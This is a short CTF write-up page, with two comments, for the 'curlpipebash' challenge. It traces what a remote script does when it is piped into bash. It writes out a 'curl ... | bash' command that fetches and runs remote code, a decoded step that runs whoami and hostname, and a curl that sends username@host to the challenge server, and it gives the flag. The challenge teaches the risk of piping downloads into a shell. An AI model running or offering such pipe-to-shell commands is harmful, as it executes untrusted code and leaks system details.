CTFtime.org

curlpipebash

by glicOne / alxn

Tags: curlpipebash 

Rating: 1.2

Execute curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash -x and you can see what input go to bash

    • curl -Ns https://curlpipebash.teaser.insomnihack.ch/<UUID>
  • bash
  • base64 -d ++ whoami ++ hostname
  • curl -Ns https://curlpipebash.teaser.insomnihack.ch/<UUID>/add-to-wall-of-shame/<username>@<host>
  • 'INS{Miss' me with that fishy 'pipe}'

Comments

bbdog – Jan. 21, 2019, 9:19 a.m.

hey ,I use this comman : curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash -x , I did not receive the following content 。
curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash -x
+ curl -Ns https://curlpipebash.teaser.insomnihack.ch/27db9613-7a3d-472f-b1ab-0ab0fdfae467
+ bash

The content stops here.
I don't know why, can you help me?

zavinator – Jan. 21, 2019, 9:26 a.m.

This won't work - If you've received a flag, you are lucky :) Maybe the server had a long response.
The correct solution is not sending the "add-to-wall-of-shame" curl...